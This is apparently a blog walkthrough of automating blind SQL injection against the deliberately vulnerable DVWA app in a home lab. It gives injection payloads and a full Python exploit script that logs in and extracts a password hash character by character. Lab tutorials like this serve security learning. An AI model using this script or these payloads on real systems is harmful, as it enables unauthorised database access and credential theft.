Automating Blind Sql Injection

In this post I will show how to automate blind sql injection exploitation with Python. The techniques used are a combination of skills I learning in Offensive Security’s Advanced Web Attacks and Exploitation course as well as Justin Clarke’s “SQL Injection Attacks and Defense” book.

SETTING UP THE LAB

If you want to follow along, I’ll be exploiting Damn Vulnerable Web Application (DVWA) with security set to ‘low’ running on Ubuntu Server on my local network. The server is added to my /etc/hosts file with the hostname “dvwa”. I’ve also changed the web application directory name to “DVWA”. The server is running mysql version 8.0.22 with the following /etc/mysql/my.cnf file contents:

!includedir /etc/mysql/conf.d/
!includedir /etc/mysql/mysql.conf.d/

[client]
default-character-set=utf8

[mysql]
default-character-set=utf8

[mysqld]
collation-server = utf8_unicode_ci
character-set-server = utf8
default-authentication-plugin=mysql_native_password
general_log_file = /var/log/mysql/query.log
general_log      = 1

For debugging purposes, I like to ssh into the server and get a constant output of the sql queries as they’re happening. You can do the same with the following command: sudo tail -f /var/log/mysql/query.log

LOGGING IN

Before we can exploit the blind sqli vulnerablility, we will need to get an authenticated session on the webserver. The login form is located at http://dvwa/DVWA/login.php. I’ll be using the python requests library for easy session handling. The login form uses CSRF tokens which means there is a hidden token value on the login page that must be sent with the login POST request. The default login for DVWA is admin:password. The login function I wrote looks like this:

import requests
import re
import sys

def login(rhost):
    s = requests.session()
    login_url = "http://{}/DVWA/login.php".format(rhost)
    req = s.get(login_url)
    match = re.search(r'([a-z,0-9]){32}', req.text)
    token = match.group(0)
    data = {'username':'admin','password':'password','Login':'Login','user_token':token}
    login = s.post(login_url, data=data)
    if "Welcome" in login.text:
        print("login successful")
        print("admin cookie: {}".format(s.cookies["PHPSESSID"]))
    return s

def main():
    rhost = sys.argv[1]
    sess = login(rhost)
        
if __name__ == "__main__":
    main()

Looking at just the login() function itself, the first three lines initialize the python requests session object, assign the login url to the login_url variable, and then send a GET requests to the login page. The next two lines use a lazy regex filter ([a-z,0-9]){32} to extract the CSRF token value from the page content and then assigns the matching string to the token variable. The remainder of the function sets the POST form data and sends the login requests. If the login was successful, we should see the cookie value printed to the terminal.

Authentication was sucessful, now on to the fun stuff.

BUILDING A BASELINE

The example search function is located at http://dvwa/DVWA/vulnerabilities/sqli_blind/. This page allows authenticated users to search for userIDs in the database. If the userID exists, the message “User ID exists in the database” will be displayed. If the user does not exist, the message “User ID is MISSING from the database” will be shown. Additionally, this page accepts GET requests as its search query. This means that we can search for the first user in the database by going to the following url: http://dvwa/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#.

We can gather from manual enumeration that userIDs 1-5 currently exist in the database. And we can see from the query log file that the query actually being submitted to the database is SELECT first_name, last_name FROM users WHERE user_id = '$id';. I’ll start by testing for boolean-based blind sql injection by injecting an “OR” statement into a query that I know returns a false value with the goal of making the query evaluate to true. My starting payload will be 7' or 1=1 #. In this payload, I’m searching for userID 7, which I know is false because only users 1-5 currently exist. Next, I’ll close the $id query string with the single quote and then add the boolean “OR” followed by 1=1 #. 1=1 is a known true statement and the pound symbol signifies a comment in MySQL and will terminate the query. The query being sent to the database is SELECT first_name, last_name FROM users WHERE user_id = '7' or 1=1 #' and evaluates to true, returning “User ID exists in the database”.

TARGETING PASSWORD HASHES

Now that we’re familiar with how the injection works, let’s extract some data. I’m going to try and extract the admin password hash. The first userID in a database tends to be the admin user, so the query I want to make to extract the password hash is SELECT password FROM users WHERE user_id=1;.

We can’t directly use the desired sql query because the injection only accepts boolean statements. To solve this problem, we are going to use the MySQL substring() function to return each character of the password hash individually. The syntax for the function is SUBSTRING(string, starting index, length of result). This query will select the first character of the admin password hash: SELECT substring((SELECT password FROM users WHERE user_id=1),1,1);. By returning one character at a time, we are able to turn our desired query into a boolean statement: SELECT substring((SELECT password FROM users WHERE user_id=1),1,1)=5; # returns 1, or true

We’re not done yet. We’re injecting through GET requests, so we need to account for URL encoding. URL encoding has the potential to mangle any of our queries that return special characters. This shouldn’t matter because the password hashes that we’re selecting should all be MD5 containing only a-f0-9, but it’s better to be safe than sorry. This can be accomplished by converting our result characters to ascii using the MySQL ASCII() function. You can see an example conversion chart here. Our newly formed query looks like this: SELECT ascii(substring((SELECT password FROM users WHERE user_id=1),1,1)); and returns 53 instead of 5. Finally, we’ll replace each space in the query will open/close multi-line comments. This will account for any issues we might encounter with our spaces being replaced with + or %20. There’s a good stack exchange thread on this here. Putting it all together, the target query we want to make looks like this: SELECT/**/ascii(substring((SELECT/**/password/**/FROM/**/users/**/WHERE/**/user_id=1),1,1));. I can test this on the webpage by searching 7'/**/or/**/(SELECT/**/ascii(substring((SELECT/**/password/**/FROM/**/users/**/WHERE/**/user_id=1),1,1)))=53/**/# which returns “User ID exists in the database” confirming that the first character of the admin hash is ascii 53 or 5.

With all of this information in mind, we’re ready to put together the exploit script. The blind sql injection function is going to take the authenticated session object, target hostname, and desired query as command line parameters and will return the session object and extracted data. Our exploit script combining the login and blind injection functions looks like this:

import requests
import re
import sys

def login(rhost):
    s = requests.session()
    login_url = "http://{}/DVWA/login.php".format(rhost)
    req = s.get(login_url)
    match = re.search(r'([a-z,0-9]){32}', req.text)
    token = match.group(0)
    data = {'username':'admin','password':'password','Login':'Login','user_token':token}
    login = s.post(login_url, data=data)
    if "Welcome" in login.text:
        print("login successful")
        print("admin cookie: {}".format(s.cookies["PHPSESSID"]))
    return s

def blindSqli(rhost, session_object, my_query):
    extracted_data = ""
    for index in range(1,33):
        for i in range(32, 126):
            query = "7'/**/or/**/(SELECT/**/ascii(substring(({}),{},1)))={}/**/%23".format(my_query.replace(" ", "/**/"),index,i)
            r = session_object.get("http://{}/DVWA/vulnerabilities/sqli_blind/?id={}&Submit=Submit#".format(rhost,query))
            if "User ID exists" in r.text:
                extracted_data += chr(i)
                sys.stdout.write(chr(i))
                sys.stdout.flush()
    return session_object, extracted_data

def main():
    rhost = sys.argv[1]
    my_query = sys.argv[2]
    sess = login(rhost)
    sess, extracted_data = blindSqli(rhost, sess, my_query)
    print("")
    print("The query result is: {}".format(extracted_data))
        
if __name__ == "__main__":
    main()

The blindSqli() function starts by initializing the extracted_data variable as an empty string. We then iterate over range(1,33) which will produce integers 1 through 32. These integers will be used to increase the index of our sql query with each iteration. Within that loop we iterate over range(32,126) to represent each character in the ascii printable table. Then the query is sent and the response is assigned to the r variable. If “User ID exists” is in the response, the character will be sent to the terminal via stdout and appended to the extracted_data variable. I’ve also URL encoded the pound symbol so it will not be interpreted as an html named anchor. Now we can run the exploit and retrieve the admin password hash:

python blindsqli.py dvwa "select password from users where user_id=1"
python blindsqli.py dvwa "select first_name from users where user_id=2"
python blindsqli.py dvwa "select last_name from users where user_id=2"

CONCLUSION: ROOM FOR IMPROVEMENT

We now have a working exploit. A downside of this exploitation technique is that it is very loud and produces a lot of entries in the query logs. It is possible to add a binary search function to reduce the amount of queries made.

Feel free to reach out to me on Twitter if you have any questions. Thanks for reading.

Written on December 15, 2020